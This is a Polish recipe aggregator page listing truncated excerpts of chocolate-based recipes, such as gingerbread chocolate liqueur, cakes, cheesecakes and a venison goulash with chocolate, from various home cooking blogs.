świąteczne natknęłam się na likier czekoladowy z przyprawą do piernika. Wypróbowałam przepis i naprawdę wspomnieniami wróciłam do świąt Bożego Narodzenia. Zachęcam do wypróbowania! Bożonarodzeniowe wspomnienie (likier pierniczkowy) Składniki: tabliczka czekolady mlecznej, 100 g cukru pudru, 1,5 szklanki mleka, 200 ml wódki, 2 łyżeczki przyprawy do piernika. Wykonanie: Mleko wlewamy do rondelka i gotujemy na małym gazie. Do ciepłego mleka(...)wrzucamy pokruszoną czekoladę i cały czas mieszając doprowadzamy do rozpuszczenia czekolady. Do mleka czekoladowego dodajemy cukier puder oraz przyprawę do piernika i całość dokładnie mieszamy. Do ostudzonego mleka wlewamy wódkę i gotowy likier wkładamy do lodówki. Jeżeli likier wyda Wam się za mocny dolejcie więcej mleka. Smacznego

paapilotkaa
Tort Walentynkowa Rozkosz 147

Walentynki, walentynki - w tym roku obchodzę, a co! :) Mąż kupił wcześniej kwiaty i czekoladę, nie ma wyjścia, trzeba świętować. Jak to ja, postanowiłam coś wyczarować w kuchni. Stanęło na torcie, kształt - oczywiście walentynkowe serce. Afrodyzjak? Czekolada - stąd czekoladowy biszkopt. Biszkopty nieskromnie mówiąc wychodzą mi pyszne i puszyste jak chmurka. :) Do czekolady idealnie pasuje mi kontrastowe połączenie z bitą śmietaną

MamaOskarka
Tort truskawkowy z białą czekoladą. 138

wierzących w moc rzucania biszkoptem - można go upuścić w foremce z wysokości około 50 cm. Biszkopt kroimy na 3 blaty. KREM: 330 g śmietanki 30% 200 g białej czekolady Zagotowujemy śmietanę, wyłączamy palnik i wrzucamy połamaną na kawałeczki białą czekoladę i energicznie mieszamy, aż do rozpuszczenia czekolady. Schładzamy minimum 12 h. Dobrze schłodzoną masę ubijamy na gesty krem, pamiętajmy

MamaOskarka
Owsiane ciastka bez jajek i mąki 153

upiec w postaci owsianych batoników lub uformować dowolny kształt rękoma. Inne przepisy na owsiane ciasteczka: Owsiane ciasteczka z dziurką Pełnoziarniste owsiane ciastka z żurawiną i słonecznikiem Owsiane ciasteczka z czekoladą i żurawiną Składniki (na 6 dużych ciastek): - 1 banan - 3/4 szklanki płatków owsianych - 1/2 szklanki wiórek kokosowych - 1/4 szklanki posiekanych dowolnych orzechów (włoskich, laskowych, pekan itp) - 2 łyżki suszonej żurawiny(...)łyżki pestek słonecznika - 2 łyżki oliwy - 1 łyżka płatków migdałowych - 1 łyżeczka syropu z agawy lub drobnego cukru* - 0,5 łyżeczki cynamonu - szczypta soli - plus opcjonalnie 50g gorzkiej czekolady Banana rozgnieść widelcem. Dodać pozostałe składniki i dokładnie wymieszać. Za pomocą okrągłej foremki, formować ciastka (na 1 ciastko wchodzą 2 płaskie łyżki masy). Piec w piekarniku nagrzanym do 180C przez

CookYourself
Sernik w polewie czekoladowo-orzechowej 149

masła 1 szklanka cukru 5 jajek 4 łyżki kaszy manny 2 łyżki mąki ziemniaczanej 1 łyżeczka proszku do pieczenia pół puszki brzoskwiń Na polewę: 1 duża tabliczka (220 g) czekolady 25 g masła 15 dag orzechów włoskich Na spód: 20 herbatników jasnych WYKONANIE:  Masło ucieramy z cukrem i żółtkami na gładką masę. Ucierając dodajemy kaszę manną, proszek do pieczenia(...)wykładamy papierem do pieczenia. Na spodzie układamy herbatniki. Do formy przekładamy masę serową. Sernik pieczemy 60 min. w piekarniku nagrzanym do 180 stopni. Ciasto studzimy w wyłączonym piekarniku.  Czekoladę rozpuszczamy w kąpieli wodnej.  Do płynnej czekolady dodajemy rozpuszczone masło i dokładnie mieszamy.  Polewą dekorujemy wystudzony sernik. Posypujemy posiekanymi orzechami. SMACZNEGO  Czekam na Państwa opinie i cenne

W kuchennym oknie Ewy
Ciasto mocno czekoladowe z cukierkami Snickers 152

Zapraszam :)    Składniki : 150 g pełno mlecznej czekolady 4 białka 250 g masła 1 cukier waniliowy 200 g cukru  4 żółtka 200 g mąki pszennej 30 g mąki ziemniaczanej  30 g gorzkiego kakao 3 płaskie łyżeczki proszku  7 cukierków Snickers  4 łyżki mleka Polewa : 1/2 kostki margaryny 5 łyżek cukru pudru 3 łyżki kakao(...)łyżki wody 6 łyżek śmietanki kremówki   1 łyżka żelatyny 1 szklanka porzeczek Wykonanie ciasta : Cukierki pokroić na kawałki Czekoladę drobno posiekać . Białka ubić mikserem na sztywną pianę. Masło utrzeć z cukrem i cukrem waniliowym na puch , następnie ciągle mieszając dodawać po jednym żółtku, mąkę wymieszaną z proszkiem , mąką ziemniaczaną i kakao dodawać porcjami na przemian z mlekiem

Sama słodycz i szczypta chili
Tort orzechowo czekoladowy 85

cukru pudru, 1 łyżeczka soku z cytryny, 300 g orzechów laskowych,   krem: 1 litr śmietany kremówki, 4 opakowania śmietan fix, 130 g cukru pudru, 200 g czekolady wytrawnej Orzechy wysypać na blachę wyłożoną papierem do pieczenia, wstawić do piekarnika nagrzanego do 200 stopni na 10 minut. Wyjąć, przesypać na ściereczkę, zwinąć i porządnie pocierać – w ten sposób pozbędziemy się(...)tortownicy i równo rozłożyć. Wstawić do piekarnika nagrzanego do 100 stopni i piec 3 godziny. Następnie piekarnik wyłączyć i zostawić ciasto na jedną godzinę w lekko uchylonym piekarniku. Czekoladę zetrzeć lub drobno posiekać. Śmietanę ubić ze śmietan-fixem i cukrem. Dodać 150 g czekolady i wymieszać. Ciasto ułożyć na paterze lub płaskim talerzu, ścisnąć obręczą do tortów. Wyłożyć

królestwo garów
Bombardino 134

oknem nie można go pić.... Podaje się go po podgrzaniu. Można podgrzać sam, z dodatkiem koniaku, whisky lub rumu oraz kawy. Koniecznie z bitą śmietaną, posypaną kakao lub czekoladą. Do przygotowania drinka o nazwie bombardino używa się gotowego likieru jajecznego na bazie rumu i śmietanki, o tej samej nazwie. Podaję moją wersję bombardino – na 3 osoby. 1/3 część rumu(...)części likieru bombardino, 200 ml śmietany kremówki, 1 łyżka cukru pudru, 1 łyżka tartej czekolady deserowej, Śmietanę ubić z cukrem pudrem. Rum i bombardino podgrzać, nie gotować – stracimy procenty ;) Przelać do szklanek, dodać śmietanę i posypać tartą czekoladą. rum - zakup własny bombardino - prezent od kolegi

królestwo garów
Gulasz z jelenia z czekoladą 170

jelenia, 3 cebule, 6 ziaren pieprzu czarnego, 5 owoców ziela angielskiego, 4 jagody jałowca, 400 ml bulionu wołowego, mąka do oprószenia mięsa, tłuszcz do smażenia, sól 50 g wytrawnej czekolady Mięso oprószyć mąką i smażyć na rozgrzanym tłuszczu (ja użyłam smalec z gęsi) ze wszystkich stron na rumiano. Podsmażone mięso przełożyć do garnka z grubym dnem. Cebule pokroić w półplasterki(...)mięsa, wlać bulion, dodać przyprawy i dusić do miękkości. W razie potrzeby dolać wodę i ewentualnie doprawić solą. Gdy mięso będzie gotowe zdjąć z ognia i dodać posiekaną czekoladę, wymieszać. Mięsa z czekoladą nie gotujemy.   zastawa z   mięso na gulasz ze sklepu dziki trop

królestwo garów
Don PX Convento Selección 1946 80

jakie wino to spędziło w beczce. Próba opisania aromatów tego wina jest niebywale trudna. Powiedzieć, że są intensywne to mało. Wyczuwamy tu przede wszystkim słodycz oraz cynamon, kamforę, czekoladę, masło, lukrecję, gałkę muszkatołową, czarną porzeczkę, drewno. Równie trudno opisać smak tego wina. Jest niebywale bogate, aksamitne, słodkie z lekką goryczką ale jednoczenie ze sporą dozą świeżości. Wyczuwamy tam smak czerwonych(...)wymianie na czysty. Wino to możne przetrwać jeszcze wiele lat (podobno kilkadziesiąt). Jeśli jednak zdecydujemy się go wypić dobrze jest je schłodzić. Idealnie będzie pasowało do deserów czekoladowych, czarnej czekolady, kawy ale moim zdaniem samo możne być idealnym deserem. Do każdej butelki dołączona jest malutka fiolka z próbką wina – jakby ktoś nie mógł się doczekać na specjalną okazję i musiał

królestwo garów
Sernik czekoladowy z serka mascarpone z mrożonymi malinami 134

masła Masa serowa: 2 czubate łyżki mąki 4-5 łyżek czerwonego wina pół wytrawnego 4 jajka 80-100 g cukru 500 g serka mascarpone 250 g gorzkiej czekolady, najlepiej z dużą zawartością kakao; u mnie 78% kakao 150 ml śmietany 36% Dekoracja: 150-200 g  mrożonych malin Dodatkowo potrzebne będą: mikser garnuszek/rondelek misa o wysokich ściankach szpatułka/łyżka Przygotowanie(...)Masa serowa: 1. W misie połączyć serek mascarpone, mąkę, cukier, jajka, wino. 2. Ubijać składniki mikserem do otrzymania gładkiej masy. 3.  W małym rondelku podgrzać śmietanę oraz rozdrobnioną czekoladę (nie gotować). Gdy czekolada w całości połączy się ze śmietanką podgrzewać jeszcze 3-4 minuty i przelać jeszcze ciepłą do masy serowej. 4. Ubijać mikserem do połączenia się

KreatywnePiny
Metrowiec - Najlepszy Przepis 3251

szklanki cukru 1,5 łyżki mąki ziemniaczanej 1,5 łyżki mąki pszennej cukier waniliowy 170 g masła w temperaturze pokojowej   Polewa Czekoladowa: 100 ml śmietanki kremówki 100 g czekolady gorzkiej łyżka wódki Metrowiec - Najlepszy Przepis - Sposób przygotowania: Ciasto: Wszystkie składniki powinny mieć temperaturę pokojową. Mąkę z proszkiem do pieczenia przesiewamy. Żółtka ucieramy z cukrem na puszystą masę. Wlewamy wodę(...)następnej (na przemian ciemne ciasto z jasnym). Pozostałą masą pokrywamy całe ciasto i umieszczamy w lodówce na całą noc. Polewa Czekoladowa: Śmietankę podgrzewamy a następnie wrzucamy drobno połamaną czekoladę oraz wódkę. Zdejmujemy z ognia i energicznie mieszamy do otrzymania gładkiej konsystencji. Czekoladą polewamy wierzch ciasta. Gotowe ciasto kroimy po skosie.  Moje posty

Słodka Strona
Cytrusowe ptasie mleczko z niespodzianką 304

formie ciasta na zimno na biszkoptach.  składniki: 300 ml schłodzonego mleka skondensowanego niesłodzonego 1 galaretka cytrynowa 1 galaretka pomarańczowa biszkopty do wyłożenia formy pianki w czekoladzie ok 13-15 szt Każdą z galaretek rozpuścić w szklance wody i odstawić do wystudzenia. Tortownicę o średnicy 24 cm natłuścić i dno wyłożyc biszkoptami. Ja dno wyłożyłam jeszcze papierem do pieczenia. Połowę(...)schłodzonego mleka ubić na piankę. Następnie porcjami dodawać tężejącą galaretkę pomarańczową. Masę wyłożyć na biszkopty. Następnie w masę powciskać pianki w czekoladzie. Przygotować drugą warstwę pianki. Ubić drugą część mleka z galaretką cytrynową. Masę przelać do formy. Na wierzchu posypać startą czekoladą i wstawić do lodówki do schłodzenia. Planowałam całość zalać jeszcze na wierzchu galaretką ale moja tortownica już

Monia miesza i gotuje
"Wspaniały" - Ciasto Siostry Anastazji z Warstwą Serową, Makową i Orzechową (Seromak) 388

cukru pudru łyżeczka mąki ziemniaczanej Ciasto Orzechowe: 2 jajka 50 g zmielonych orzechów włoskich łyżka mąki pszennej 3 łyżki cukru 1/4 łyżeczki proszku do pieczenia Polewa Czekoladowa: 50 g czekolady gorzkiej 50 ml śmietanki kremówki 30% ok. 50 g orzechów włoskich (do posypania wierzchu)   "Wspaniały" - Ciasto Siostry Anastazji z Warstwą Serową, Makową i Orzechową - Sposób przygotowania: Warstwa Makowa(...)minut w temperaturze 180 stopni do tzw. "suchego patyczka". Gdy ciasto będzie ostudzone możemy przygotować polewę: Śmietankę podgrzewamy (nie doprowadzamy do wrzenia) i wrzucamy drobno połamaną czekoladę. Zdejmujemy z ognia i energicznie mieszamy do otrzymania gładkiej konsystencji. Strużkami czekolady polewamy przygotowane ciasto i od razu posypujemy posiekanymi orzechami włoskimi.     Moje posty

Słodka Strona
Malinowe ciasto owocowe z mleczną czekoladą. Bez tłuszczu i cukru (prawie) 89

cukru pudru 3 łyżki jogurtu greckiego 1 łyżka oleju 1,5 łyżeczki proszku do pieczenia garść malin garść borówek amerykańskich 1 brzoskwinia z zalewy 3-4 małe kostki mlecznej czekolady Przygotowanie: Mąkę wymieszałam z cukrem pudrem i proszkiem do pieczenia. W oddzielnym naczyniu wymieszałam jogurt z jajkami, olejem i owocami (maliny i borówki w całości, brzoskwinia w kostkę) oraz pokruszoną(...)małe kawałki czekoladą. Następnie składniki mokre wlałam do suchych i wymieszałam na jednolitą, gęstą masę. Mieszać należy delikatnie ze względu na owoce, żeby ich nie porozrywać. Ciasto wyłożyłam na blaszkę wysmarowaną tłuszczem i obsypaną bułką tartą. Piekłam w temperaturze 200 stopni przez ok 40 minut. Przez część czasu musiałam podpiec na dolnym ruszcie ze względu na dużą zawartość owoców. Mimo

Kuchnia po mojemu
Wiśniowo - śmietanowy tort na ciemnym biszkopcie. Mężu sto lat z okazji urodzin. Z nami oczywiście jeśli tylko chcesz ;) 170

lektury. Składniki: biszkopt (przepis znajdziecie również u mnie) 400ml śmietany 30% 400 gram serka mascarpone 1 miseczka gęstego kisielu wiśniowego z całymi owocami (również mojej produkcji) 1/4 tabliczki gorzkiej czekolady dobrego gatunku sok wiśniowy (50 ml) esencja rumowa Przygotowanie: Biszkopt przygotowujemy i pieczemy wg tej receptury . Jedyna modyfikacja to dodanie 4 łyżek ciemnego kakao i 2 łyżek tartej gorzkiej czekolady(...)gotowy. Ja preferuję kremy mało słodkie. Po nasączeniu i przełożeniu kremem wszystkich warstw tort gotowy. Wierzch dekorujemy wedle upodobań - u nas: warstwa kremu, wiśnie z kisielu i tarta, gorzka czekolada. Tort schładzamy w lodówce. Pyszności. Mężowi i gościom bardzo smakował, więc wypiek uznaję za udany i polecam do domowych eksperymentów

Kuchnia po mojemu
naleśniki czekoladowe 200

składniki: 150 g mąki 3 łyżki cukru 40 g masła 2 jajka 250 ml mleka 50 g czekolady gorzkiej 1 łyżeczka kakao ok. 125 ml wody gazowanej wykonanie: W rondelku rozpuszczamy czekoladę z masłem, mlekiem i kakao do chwili połączenia się składników. Odstawiamy z ognia, dodajemy cukier i jajka, mieszamy. Następnie dodajemy mąkę i miksujemy na gładkie ciasto. Odstawiamy(...)czasie dolewamy wodę i mieszamy. Naleśniki smażymy z obu stron na lekko natłuszczonej patelni. Podajemy np. z powidłem śliwkowym, bitą śmietaną i roztopioną czekoladą

Domowy Smak Jedzenia
Ciasto z Masą Kajmakowo-Słonecznikową 139

biszkopt: ¾ szklanki mąki pszennej ¼ szklanka mąki ziemniaczanej 4 jajka 1 szklanka cukru pudru 1 łyżeczka proszku do pieczenia 1 łyżeczka octu   Składniki na polewę: 1 tabliczka gorzkiej czekolady 1 łyżka masła 1 łyżka mleka   Pozostałe składniki: 1 mleko zagęszczone słodzone w puszce 300g łuskanego słonecznika 150g masła do uprażenia słonecznika ¼ szklanka cukru 200g masła około 200g herbatników ½ szklanki(...)wódkę i wymieszać. 8.   Biszkopt posmarować powidłami. 9.   Na biszkopt wyłożyć masę ze słonecznikiem. 10. Na masę ułożyć biszkopty nasączone pozostałą herbatą z wódką. 11. Przygotować polewę: Czekoladę połamać na mniejsze kawałki, włożyć do metalowej miski, dodać masło i mleko. Miskę położyć na garnek z wodą i podgrzewać aż czekolada się rozpuści mieszając od czasu do czasu

Mama Gotuje
Torcik Gruszkowo-Jabłkowy 152

gruszek 0,8 kg jabłek 150 g cukru 2 łyżki świeżo startego imbiru skórka otarta z 2 cytryn sok wyciśnięty z 2cytryn 4 łyżeczki żelatyny Krem czekoladowy: 150 g czekolady 250 g serka mascarpone Gruszki w czerwonym winie: 3 gruszki 1,5 szklanki czerwonego wina 3 łyżki cukru 1 laska cynamonu 6 goździków skórka otarta z 1 pomarańczy Wykonanie(...)minut. Jeśli gruszki nie są w całości znużone w winie należy je obrócić po około 15 minutach. Gruszki zostawić w winie do wystygnięcia. 5.  Przygotować krem czekoladowy: Czekoladę podzielić na mniejsze kawałki i rozpuścić na parze. Gdy czekolada ostygnie dodać serek  mascarpone i dokładnie wymieszać. 6. Gdy nadzienie stężeje w cieście wyrównać brzegi ciasta na wysokości nadzienia

Mama Gotuje
Ciasto orzechowe z masą mascarpone 184

szczypta imbiru szczypta soli Krem: 50 dkg sera mascarpone 200 ml śmietanki 30% 6 łyżek mleka 1 łyżka soku z cytryny 3 opakowania cukru waniliowego (48g) 3 łyżki startej czekolady Dodatkowo: wiśnie w zalewie mocna herbata kieliszek wódki Wykonanie: 1. Podkład: Orzechy zmielić na proszek, białka ubić na sztywną pianę, żółtka ubić z cukrem Do żółtek dodać imbir, sól(...)minut. Gotowy podkład ostudzić. 2. Krem: Śmietanę ubić na sztywno, pod koniec ubijania dodać cukier waniliowy. Ser mascarpone ubić z mlekiem i cytryną, dodać ubitą śmietanę i startą czekoladę, delikatnie wymieszać. 3. Podkład przekroić na 2 lub 3 blaty. Każdy blat nasączyć mocną herbatą z wódką, na to nałożyć krem i poukładać wiśnie. Przykryć następnym blatem. 4.Gotowe ciasto posmarować resztą

Mama Gotuje
Pieczone jabłko w cieście francuskim 127

Weekendowy deser w 30 minut. Świetny pomysł by zaskoczyć.... a roboty naprawdę mało :D SKŁADNIKI ciasto francuskie (pół opakowania XXL) 2 jabłka  cynamon żurawina czekolada  jajko szczypta cukru Jabłka obieramy i drylujemy nie przekrawając ich bo będziemy je faszerować. Ja  używam do jednego żurawinę do drugiego czekoladę. Następnie dokładnie obtaczamy z wierzchu cynamonem .  Jabłka są gotowe(...)Smarujemy rozbełtanym jajkiem ze szczyptą cukru Teraz układamy na blasze z papierem do pieczenia. Piekarnik rozgrzewamy do 200- 210 stopni i wkładamy blachę około 20 minut.   z czekoladą: z żurawiną: My zjedliśmy popijając grzanym winkiem z pomarańczami. A co !!   Smacznego

MarciochaKucharzy
Muffinki z czekoladą 150

łyżeczki sody 150 g cukru (dałam trzcinowy, w oryginale cukru było 175 g) 3/4 szklanki mleka 1 jajko 1/2 szklanki oleju cukier waniliowy (dałam 2 łyżki domowego) 1 gorzka czekolada   Wykonanie: Czekoladę pokroić na kawałki.  Formę do muffinek wyłożyć papilotkami.  Piekarnik rozgrzać do 180 stopni. Mąkę, cukry, proszek i sodę wymieszać w misce.  Dodać mleko, olej(...)jajko i wymieszać.  Dodać czekoladę i delikatnie wymieszać.  Przełożyć do przygotowanych foremek nakładając do 3/4 wysokości foremki.  Piec przez 20 - 25 minut, do suchego patyczka

Sto kolorów kuchni
Knoppers 158

wafle (andruty), 1/4 szklanki mleka, 1/4 szklanki cukru, 275 g miękkiej margaryny, 1 szklanka mleka w proszku, 200 g kremu orzechowego, 1 łyżka kakao, szklanka orzechów włoskich, tabliczka czekolady mlecznej, 1/2 tabliczki czekolady gorzkiej. Wykonanie: Mleko gotujemy z cukrem i odstawiamy do wystygnięcia. 175 g margaryny ucieramy na jednolitą masę do której wlewamy mleko z cukrem. Cały czas miksując dodajemy(...)czekoladowej. Przykrywamy waflem, którego smarujemy całą masą mleczną. Ponownie przykrywamy waflem na którym rozprowadzamy pozostałą część masy czekoladowej. Na masę czekoladową kładziemy wafel który smarujemy roztopioną w kąpieli wodnej czekoladą i posypujemy pozostałymi orzechami.       Smacznego

paapilotkaa
Truflowe batoniki Daim 160

sztuk) Batoniki: 135 g cukru 50 g masła 25 g miodu płynnego- ja użyłam lipowego szczypta soli 60-70 g płatków migdałowych-pokruszonych Polewa truflowa: 200 g mlecznej czekolady- jak najlepszej jakości- dobra czekolada da lepszy smak końcowy 50 ml śmietany kremówki 50 ml serka mascarpone 4 łyżeczki masła Potrzebne również będą: papier do pieczenia, bądź folia aluminiowa brytfanna bądź(...)batoniki. Ponieważ masa zrobiona jest z cukru- karmelki szybko zastygają. Poczekać aż karmelki stwardnieją. Polewa truflowa: 1. Śmietanę kremówkę ubić na sztywno, dodać serek mascarpone, wymieszać 2.  Czekoladę rozpuścić w kąpieli wodnej. 3. Masę śmietankową zagotować  4. Dodać ją do masy czekoladowej ciągle ubijając, gdy masy się połączą dodać masło i miksować na gładką, jednolitą masę 3. Maczać

KreatywnePiny
Owsianka brownie 176

czekoladowego ciasta ugotowałam owsiankę. Owsiankę lepką, gęstą i mocno czekoladową. Owsiankę, która daje porządnego 'kopa'. Owsiankę, która pozwala przetrwać kolejny nudny czwartek. Jeśli wolicie słodsze jedzenie to zamieńcie czekoladę gorzką na mleczną i/lub kakao gorzkie na te słodzone lub dodajcie więcej cukru. Przepis własny 4 łyżki płatków owsianych  5 kostek gorzkiej lub ew. mlecznej czekolady (użyłam Wedla(...)Owsiankę gotować do ulubionej konsystencji, dolewając co jakiś czas dodatkową porcję wody/mleka*.  Pamiętając przy tym, aby owsianka była gęsta. Pod koniec gotowania dodać rozdrobnioną nożem lub startą gorzką czekoladą. Całość przelać do miseczki. Jeść od razu lub poczekać około 5 minut - owsianka nabierze jeszcze wtedy jeszcze lepszej konsystencji i na jej powierzchni powinna wytworzyć się czekoladowa 'skorupka'. Owsiankę można

tost z dżemem
Babeczki czekoladowe z powidłami śliwkowymi i bezą 115

Wykorzystałam dwa sprawdzone przepisy na  Ciasto czekoladowe Patrycji  i na  bezy . Środek babeczek napełniłam powidłami śliwkowymi - chciałam uzyskać smak zbliżony do   moich ulubionych śliwek w czekoladzie. Składniki: Na babeczki: 4 jajka 1 masło (prawdziwe) 2 gorzkie czekolady 1 szklanka cukru 3/4 szklanki mąki łyżeczka proszku do pieczenia cukier waniliowy 1/2 słoiczka powideł śliwkowych Na bezę(...)białka ze średnich jajek 220 g cukru łyżeczka mąki ziemniaczanej łyżeczka octu Przygotowanie : Zaczynamy od babeczek. Przepis jest na ok. 15 sztuk. Masło rozpuścić, dodać pokruszoną czekoladę, roztopić na wolnym ogniu i lekko przestudzić. Jajka utrzeć z cukrem i cukrem waniliowym, dodać masę czekoladową i dalej miksować aż składniki się połączą. Dodać mąkę z proszkiem do pieczenia i dobrze wymieszać

Kulinarne Inspiracje
Fale Dunaju 330

kompotu) wydrylowanych i odsączonych Na masę budyniową: 1 opakowanie budyniu waniliowego (z cukrem) 450 ml mleka 200 g masła 50 g cukru pudru Na polewę: 1 gorzka lub mleczna czekolada (100 g) 150 ml śmietany 30% Dodatkowo: masło do wysmarowania formy WYKONANIE Masło i jajka powinny być w temperaturze pokojowej.  Wiśnie wydrylować i odsączyć. Piekarnik nagrzać do temperatury(...)czasu. Do miski włożyć masło, wsypać cukier puder i utrzeć na krem. Dodawać stopniowo ostudzony budyń miksując. Gotowym kremem posmarować górę ciasta. Do garnuszka wlać śmietanę, dodać połamaną czekoladę, mieszać na wolnym ogniu do momentu połączenia się składników. Ostudzić i polać górę ciasta. Dla ozdoby można zrobić widelcem fale na czekoladzie. Oryginalna ilość składników na ciasto wg książki (pozostałe

Passions hobbies life
Kawowe Ciasto z Serową Wkładką 183

Krem: 200 g kremowego serka typu Philadelphia 60 g masła 4 łyżki karmelu Masło ucieramy. Dodajemy serek i karmel. Ucieramy do uzyskania puszystego kremu. Ganache: 120 g gorzkiej czekolady 80 ml śmietany kremówki Śmietanę doprowadzamy do wrzenia. Ściągamy z ognia. Wrzucamy połamaną czekoladę. Odstawiamy na 2 minuty na bok a następnie mieszamy łyżką do rozpuszczenia się czekolady. Odstawiamy

Made By Mom And Son
Sernik z orange curd 133

wyrównać. Piec w temperaturze 170 stopni przez około 12 minut. Wystudzić. Masa serowa: 600 g twarogu, zmielonego minimum dwukrotnie 250 g jogurtu greckiego 3 duże jajka 100 g białej czekolady 1 duży budyń śmietankowy Delecta Orange curd: 1 duża pomarańcza 1 jajko 1 żółtko 50 g cukru 3/4 łyżki mąki ziemniaczanej Masa śmietanowa: 400 g gęstej śmietany(...)kropel aromatu śmietankowego Delecta Orange curd - Pomarańczę sparzyć, zetrzeć na tarce o małych oczkach, wycisnąć sok.  Składniki przełożyć do rondelka i zagotować, ciągle mieszając. Wystudzić. Masa serowa - Czekoladę rozpuścić w kąpieli wodnej, przestudzić. Do miski przełożyć twaróg, jogurt, jajka i budyń. Zmiksować na gładką masę. Dodać wystudzoną, płynną czekoladę i dokładnie połączyć. Masę serową wylać na przygotowany wcześniej

Domowa cukiernia Ewy
Rafaello 221

masa w ogóle nie chciała się dać formować w kulki. W końcu metodą prób i błędów udało mi się jakoś wykonać to moje, domowe rafaello. Składniki: 2 tabliczki białej czekolady 1 szklanka mleka w proszku 1 śmietana kremówka(330 ml) 1 kostka masła 3/4 szklanki cukru 1 opakowania suchych wafli 1 opakowanie wiórek kokosowych 200 g Wykonanie: Śmietanę podgrzewam(...)dodaję mleko w proszku, mieszam, zestawiam, wrzucam do tego połamaną na kawałki czekoladę i mieszam do rozpuszczenia. Masę odstawiam by przestygła. Masło ucieram z cukrem na puszysty krem i dodaję po jednej łyżce zimną masę z białą czekoladą. Do masy wsypuję 100 g wiórek kokosowych. Wafle mielę na proszek i również dodaję do masy. Wstawiam do lodówki na 2 godziny

Ciasteczkowy Potwór
Krajanka truskawkowa z masą serową 138

kostka masła 8 łyżek cukru 1 opakowanie cukru waniliowego 4 jajka 7 łyżek mąki 5 łyżek mleka 2 płaskie łyżeczki proszku do pieczenia Masa: 60 dag truskawek 1 czekolada mleczna 2 kostki twarogu 6 łyżek cukru 1 opakowanie galaretki cytrynowej lub brzoskwiniowej 2 łyżki soku z cytryny 45 dag śmietany 30% Wykonanie: Masło ucieram z cukrem i cukrem waniliowym(...)składników. Blachę wykładam papierem do pieczenia, przekładam ciasto i wstawiam do piekarnika nagrzanego do temp.200'C na 20-25 min. Upieczone wyjmuję, studzę i kroję wzdłuż na 2 części. Czekoladę rozpuszczam w kąpieli wodnej i smaruję spód ciasta. Truskawki, myję, usuwam szypułki, kroję na połowy i układam na posmarowanym czekoladą spodzie ciasta wypukłą stroną do góry. Twaróg miksuję z cukrem

Ciasteczkowy Potwór
Ptasie mleczko III 162

łyżki żelatyny 5 białek 2 opakowania cukru waniliowego 1/2 litra śmietany kremówki 1 cytryna 1/2 pomarańczy 1/3 szklanki cukru pudru 2 i 1/2 tabliczki czekolady Wykonanie: Białka ubić z cukrem waniliowym. Owoce sparzyć, wycisnąć z nich sok. Śmietanę ubić z cukrem pudrem, dodać sok z owoców i wymieszać. Żelatynę namoczyć i rozpuścić w gorącej wodzie, przestudzić.Śmietanę delikatnie(...)ostrożnie żelatynę, przelać do płaskiej formy i odstawić do całkowitego stężenia ( ok 2 godz) Masę wyjąć, kroić ostrym nożem na małe 2-3 cm prostokąty lub wycinać foremką. Czekoladę rozpuścić w kąpieli wodnej, zanurzać w niej pianki i odstawić na kratkę, aby nadmiar czekolady  spłynął.  Ja poszłam troszkę na łatwiznę i zamiast pobawić się trochę

Ciasteczkowy Potwór
Murzynek przekładany 150

mleka 4 jajka 2 szklanki mąki 2 łyżeczki proszku do pieczenia Masa: 1 masa krówkowa o smaku kokosowym 1 kostka masła Wykonanie: Z masła, cukru, mleka i kakao ugotować czekoladę. Wystudzić, odlać 3/4 szklanki czekolady do polania ciasta. Do pozostałej masy czekoladowej dodawać po 1 żółtku na na przemian z mąką i ucierać. Wcześniej mąkę wymieszać z proszkiem do pieczenia(...)upieczeniu, wystudzić ciasto i przekroić na pół. Masę krówkową ucierać, dodając po łyżce miękkie masło. Masą przełożyć ciasto,wierzch ciasta polać odlaną wcześniej czekoladą i  odstawić na 2 doby w chłodne miejsce

Ciasteczkowy Potwór
Tort prezydenta 122

ziemniaczanej 1/2 szklanki cukru pudru 2 łyżeczki proszku do pieczenia Masa: 2 kostki masła 2 całe jajka 2 żółtka 20 dag cukru pudru 1 puszka ananasów 1 tabliczka mlecznej czekolady Dekoracja: 1/2 litra śmietany kremowej 36% 2 opakowania zagęstnika do śmietany 1 opakowanie cukru waniliowego 1 szklanka siekanych orzechów  Wykonanie: Białka ubijam na sztywną pianę dodając na przemian cukier(...)masa będzie puszysta i prawie biała. Masło ucieram dodając po łyżce  kogel-mogel. Masę dzielę na dwie części. Do jednej dodaję kawałeczki odsączonego ananasa, a do drugiej czekoladę uprzednio potraktowaną blenderem. Sok z ananasa mieszam z  przegotowaną i schłodzoną wodą w stosunku 1:1  i doprawiam do smaku sokiem z cytryny ewentualnie cukrem. Na spód patery wykładam

Ciasteczkowy Potwór
Tarta orzechowa z masą chałwową oblana polewą czekoladową z prażonymi orzechami 181

ekstraktu waniliowego Krem chałwowy: 150 g chałwy 125 ml śmietanki kremówki 30% 2 łyżki cukru pudru Polewa czekoladowa: 150 g orzechów laskowych- posiekanych grubo i uprażonych 90 g deserowej czekolady- 78% kakao 90 ml śmietany kremówki Przygotowanie: Ciasto: 1. Orzechy laskowe zmielić przy pomocy młynka do kawy, bądź blendera z końcówką do siekania, na piasek. 2. Mąki przesiać 3. Wszystkie(...)szybko gęstnieje, postaraj się precyzyjnie i równomiernie ją rozprowadzić. Polewa czekoladowa z prażonymi orzechami: 1. Na patelni uprażyć orzechy 2. Do małego garnuszka wlać śmietanę 30%, dodać do niej czekoladę i podgrzewać na małym ogniu. 3. Podgrzewać aż czekolada całkowicie się rozpuści, podgrzewać jeszcze około 4-5 minut. 4. Dodać uprażone orzechy i dokładnie wymieszać całość. 5. Polewę wyłożyć

KreatywnePiny
Tort makowy z kremem z białej czekolady 129

przekroić wzdłuż dwa razy. Składniki na poncz: 0,5 szklanki wody; 3 łyżki rumu; Zimną przegotowaną wodę wymieszać z rumem i odstawić. Składniki na krem: 30 dkg białej czekolady; 400 ml śmietany kremówki (30% lub 36%); 1 szklanka wiśni w syropie; dżem wiśniowy; Wykonanie: Czekoladę rozpuścić w kąpieli wodnej, wystudzić. Śmietanę ubić na sztywno, po czym powoli wlewać ochłodzoną białą(...)czekoladę i dalej ubijać. Na tortownicy ułożyć pierwszy blat ciasta, nasączyć ponczem, posmarować cienko dżemem. Na blacie rozsmarować 1/3 część kremu, rozłożyć połowę wiśni, przykryć drugim blatem, nasączyć ponczem i posmarować cienko dżemem, na który wyłożyć kolejną 1/3 część kremu, wyłożyć resztę wiśni. Przykryć ostatnim blatem, nasączyć ponczem, udekorować pozostałym kremem wierzch i boki tortu. Gotowy tort schłodzić w lodówce

In my kitchen
Raffaello z adwokatem 157

